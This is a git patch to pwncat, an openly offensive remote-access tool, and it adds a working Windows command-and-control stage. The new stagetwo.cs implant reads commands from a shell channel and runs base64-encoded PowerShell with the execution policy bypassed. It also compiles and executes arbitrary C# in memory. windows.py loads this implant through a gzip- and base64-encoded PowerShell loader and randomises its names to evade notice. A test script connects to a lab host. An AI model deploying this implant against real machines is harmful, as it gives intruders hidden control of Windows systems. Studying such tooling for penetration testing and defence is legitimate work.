From 274611263efdaa4a475aa41e69c019af45200739 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Fri, 1 Jan 2021 18:53:13 -0500 Subject: [PATCH] Added proper stagetwo source with basic C# and powershell commands --- pwncat/data/conpty.cs | 13 +--- pwncat/data/stagetwo.cs | 78 +++++++++++++++++++ pwncat/platform/windows.py | 149 ++++++++++++++++++++++++++++++++++--- pwncat/util.py | 38 +++++----- test.py | 18 +++++ 5 files changed, 257 insertions(+), 39 deletions(-) create mode 100644 pwncat/data/stagetwo.cs diff --git a/pwncat/data/conpty.cs b/pwncat/data/conpty.cs index 1b2bc15..e54d12d 100644 --- a/pwncat/data/conpty.cs +++ b/pwncat/data/conpty.cs @@ -11,6 +11,7 @@ public static class ConPtyShell private const string errorString = "{{{ConPtyShellException}}}\r\n"; private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; + private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002; private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; private const uint CREATE_NO_WINDOW = 0x08000000; @@ -236,21 +237,11 @@ public static class ConPtyShell throw new InvalidOperationException("Could not get console mode"); } outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; + outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT; if (!SetConsoleMode(hStdOut, outConsoleMode)) { throw new InvalidOperationException("Could not enable virtual terminal processing"); } - - IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE); - if (!GetConsoleMode(hStdIn, out outConsoleMode)) - { - throw new InvalidOperationException("Could not get console mode"); - } - outConsoleMode |= 0x0004 | 0x0001 | 0x0200; - if (!SetConsoleMode(hStdIn, outConsoleMode)) - { - throw new InvalidOperationException("Could not enable virtual terminal processing"); - } } private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){ diff --git a/pwncat/data/stagetwo.cs b/pwncat/data/stagetwo.cs new file mode 100644 index 0000000..ca7b24b --- /dev/null +++ b/pwncat/data/stagetwo.cs @@ -0,0 +1,78 @@ +class StageTwo +{ + public System.String ReadUntilLine(System.String delimeter) + { + System.Text.StringBuilder builder = new System.Text.StringBuilder(); + + while (true) + { + System.String line = System.Console.ReadLine(); + if (line == delimeter) + { + break; + } + builder.AppendLine(line); + } + + return builder.ToString(); + } + + public void main() + { + object[] args = new object[] { }; + + System.Console.WriteLine("READY"); + + while (true) + { + System.String line = System.Console.ReadLine(); + var method = GetType().GetMethod(line); + if (method == null) continue; + method.Invoke(this, args); + } + } + + public void powershell() + { + var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK"))); + var startinfo = new System.Diagnostics.ProcessStartInfo() + { + FileName = "powershell.exe", + Arguments = "-noprofile -ep unrestricted -enc " + command, + UseShellExecute = false + }; + + var p = System.Diagnostics.Process.Start(startinfo); + p.WaitForExit(); + } + + public void csharp() + { + var cp = new System.CodeDom.Compiler.CompilerParameters() + { + GenerateExecutable = false, + GenerateInMemory = true, + }; + + while (true) + { + System.String line = System.Console.ReadLine(); + if (line == "/* ENDASM */") break; + cp.ReferencedAssemblies.Add(line); + } + + cp.ReferencedAssemblies.Add("System.dll"); + cp.ReferencedAssemblies.Add("System.Core.dll"); + cp.ReferencedAssemblies.Add("System.Dynamic.dll"); + cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll"); + + var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */")); + if (r.Errors.HasErrors) + { + return; + } + + var obj = r.CompiledAssembly.CreateInstance("command"); + obj.GetType().GetMethod("main").Invoke(obj, new object[] { }); + } +} diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 229e03e..b4cfb24 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -1,13 +1,18 @@ #!/usr/bin/env python3 from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation +from typing import List +from io import StringIO, BytesIO +import textwrap import pkg_resources import pathlib import base64 import time +import gzip import os import pwncat import pwncat.subprocess +import pwncat.util from pwncat.platform import Platform, PlatformError, Path @@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen): Windows-specific Popen wrapper class """ + def __init__( + self, + platform: Platform, + args, + stdout, + stdin, + text, + encoding, + errors, + bufsize, + start_delim: bytes, + end_delim: bytes, + code_delim: bytes, + ): + super().__init__() + class WindowsReader(BufferedIOBase): """ @@ -37,6 +58,13 @@ class Windows(Platform): established with an open powershell session.""" PATH_TYPE = pathlib.PureWindowsPath + LIBRARY_IMPORTS = { + "Kernel32": [ + "IntPtr GetStdHandle(int nStdHandle)", + "bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)", + "bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)", + ] + } def __init__( self, @@ -56,13 +84,119 @@ class Windows(Platform): # Most Windows connections aren't capable of a PTY, and checking # is difficult this early. We will assume there isn't one. - self.has_pty = False + self.has_pty = True # Trigger allocation of a pty. Because of powershell and windows # being unpredictable and weird, we basically *need* this. So, # we trigger it initially. WinAPI is available everywhere so on # any relatively recent version of windows, this should be fine. - self.get_pty() + # self.get_pty() + + self._bootstrap_stage_two() + + # Load requested libraries + # for library, methods in self.LIBRARY_IMPORTS.items(): + # self._load_library(library, methods) + + def _bootstrap_stage_two(self): + """This takes the stage one C2 (powershell) and boostraps it for stage + two. Stage two is C# code dynamically compiled and executed. We first + execute a small C# payload from Powershell which then infinitely accepts + more C# to be executed. Further payloads are separated by the delimeters: + + - "/* START CODE BLOCK */" + - "/* END CODE BLOCK */" + """ + + # Read stage two source code + stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs") + with open(stage_two_path, "rb") as filp: + source = filp.read() + + # Randomize class and method name for a smidge of anonymity + clazz = pwncat.util.random_string(8) + main = pwncat.util.random_string(8) + source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8")) + source = source.replace( + b"public void main", b"public void " + main.encode("utf-8") + ) + + # compress and encode source + source_gz = BytesIO() + with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz: + gz.write(source) + source_enc = base64.b64encode(source_gz.getvalue()) + + # List of needed assemblies for stage two + needed_assemblies = [ + "System.dll", + "System.Core.dll", + "System.Dynamic.dll", + "Microsoft.CSharp.dll", + ] + + # List of commands in the payload to bootstrap stage two + payload = [ + "$cp = New-Object System.CodeDom.Compiler.CompilerParameters", + ] + + # Add all needed assemblies to the compiler parameters + for assembly in needed_assemblies: + payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""") + + # Compile our C2 code and execute it + payload.extend( + [ + "$cp.GenerateExecutable = $false", + "$cp.GenerateInMemory = $true", + "$gzb = [System.Convert]::FromBase64String((Read-Host))", + "$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)", + "$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)", + f"$source = New-Object byte[]({len(source)})", + f"$gz.Read($source, 0, {len(source)})", + "$gz.Close()", + "$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))", + f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""", + ] + ) + + # Send the payload, then send the encoded and compressed code + self.channel.send((";".join(payload)).encode("utf-8") + b"\n") + self.channel.send(source_enc + b"\n") + + # Wait for the new C2 to be ready + self.channel.recvuntil(b"READY") + + def _load_library(self, name: str, methods: List[str]): + """Load the library. This adds a global with the same name as `name` + which contains a reference to the library with all methods specified in + `mehods` loaded.""" + + name = name.encode("utf-8") + method_def = b"" + + for method in methods: + method = method.encode("utf-8") + # self.channel.send( + method_def += ( + b'[DllImport(`"' + + name + + b'.dll`", SetLastError = true)]`npublic static extern ' + + method + + b";`n" + ) + + command = ( + b"$" + + name + + b' = Add-Type -MemberDefinition "' + + method_def + + b"\" -Name '" + + name + + b"' -Namespace 'Win32' -PassThru\n" + ) + self.channel.send(command) + self.session.manager.log(command.decode("utf-8").strip()) def get_pty(self): """ Spawn a PTY in the current shell. """ @@ -91,7 +225,6 @@ class Windows(Platform): for idx in range(0, len(source), CHUNK_SZ): chunk = source[idx : idx + CHUNK_SZ] self.channel.send(b'$source = $source + "' + chunk + b'"\n') - time.sleep(0.1) # decode the source self.channel.send( @@ -109,9 +242,6 @@ class Windows(Platform): + b"\n" ) - self.channel.recvuntil(b"> ") - self.channel.send(b"\n") - self.has_pty = True def get_host_hash(self): @@ -124,6 +254,8 @@ class Windows(Platform): @interactive.setter def interactive(self, value): + return + if value: command = ( @@ -138,13 +270,10 @@ class Windows(Platform): "}", ] ) - + "\r\r" + + "\r" ) self.logger.info(command.rstrip("\n")) self.channel.send(command.encode("utf-8")) - self.channel.recvuntil(b"$") - self.channel.recvuntil(b"\n") - return diff --git a/pwncat/util.py b/pwncat/util.py index 0434c47..75b78c9 100644 --- a/pwncat/util.py +++ b/pwncat/util.py @@ -94,7 +94,7 @@ class CompilationError(Exception): def isprintable(data) -> bool: """ - This is a convenience function to be used rather than the usual + This is a convenience function to be used rather than the usual ``str.printable`` boolean value, as that built-in **DOES NOT** consider newlines to be part of the printable data set (weird!) """ @@ -113,9 +113,9 @@ def human_readable_size(size, decimal_places=2): def human_readable_delta(seconds): - """ This produces a human-readable time-delta output suitable for output to + """This produces a human-readable time-delta output suitable for output to the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only - display at most, hours minutes and seconds. """ + display at most, hours minutes and seconds.""" if seconds < 60: return f"{seconds:.2f} seconds" @@ -134,17 +134,17 @@ def human_readable_delta(seconds): def join(argv: List[str]): - """ Join the string much line shlex.join, except assume that each token + """Join the string much line shlex.join, except assume that each token is expecting double quotes. This allows variable references within the - tokens. """ + tokens.""" return " ".join([quote(x) for x in argv]) def quote(token: str): - """ Quote the token much like shlex.quote, except don't use single quotes + """Quote the token much like shlex.quote, except don't use single quotes this will escape any double quotes in the string and wrap it in double - quotes. If there are no spaces, it returns the stirng unchanged. """ + quotes. If there are no spaces, it returns the stirng unchanged.""" for c in token: if c in string.whitespace: break @@ -176,8 +176,8 @@ def escape_markdown(s: str) -> str: def copyfileobj(src, dst, callback, nomv=False): - """ Copy a file object to another file object with a callback. - This method assumes that both files are binary and support readinto + """Copy a file object to another file object with a callback. + This method assumes that both files are binary and support readinto """ try: @@ -209,11 +209,11 @@ def copyfileobj(src, dst, callback, nomv=False): def with_progress(title: str, target: Callable[[Callable], None], length: int = None): - """ A shortcut to displaying a progress bar for various things. It will - start a prompt_toolkit progress bar with the given title and a counter + """A shortcut to displaying a progress bar for various things. It will + start a prompt_toolkit progress bar with the given title and a counter with the given length. Then, it will call `target` with an `on_progress` parameter. This parameter should be called for all progress updates. See - the `do_upload` and `do_download` for examples w/ copyfileobj """ + the `do_upload` and `do_download` for examples w/ copyfileobj""" with ProgressBar(title) as pb: counter = pb(range(length)) @@ -242,13 +242,15 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int = def random_string(length: int = 8): """ Create a random alphanumeric string """ - return "".join(random.choice(ALPHANUMERIC) for _ in range(length)) + return random.choice(string.ascii_letters) + "".join( + random.choice(ALPHANUMERIC) for _ in range(length - 1) + ) def enter_raw_mode(): - """ Set stdin/stdout to raw mode to pass data directly. + """Set stdin/stdout to raw mode to pass data directly. - returns: the old state of the terminal + returns: the old state of the terminal """ # Ensure we don't have any weird buffering issues @@ -297,9 +299,9 @@ def restore_terminal(state, new_line=True): def get_ip_addr() -> str: - """ Retrieve the current IP address. This will return the first tun/tap - interface if availabe. Otherwise, it will return the first "normal" - interface with no preference for wired/wireless. """ + """Retrieve the current IP address. This will return the first tun/tap + interface if availabe. Otherwise, it will return the first "normal" + interface with no preference for wired/wireless.""" PROTO = netifaces.AF_INET ifaces = [ diff --git a/test.py b/test.py index c349d55..98a7315 100755 --- a/test.py +++ b/test.py @@ -1,5 +1,6 @@ #!./env/bin/python import pwncat.manager +import time # Create a manager manager = pwncat.manager.Manager("data/pwncatrc") @@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc") # Establish a session session = manager.create_session("windows", host="192.168.122.11", port=4444) +session.platform.channel.send( + b""" +csharp +/* ENDASM */ +class command { + public void main() + { + System.Console.WriteLine("We can execute C# Now!"); + } +} +/* ENDBLOCK */ +powershell +Write-Host "And we can execute powershell!" +# ENDBLOCK +""" +) + manager.interactive()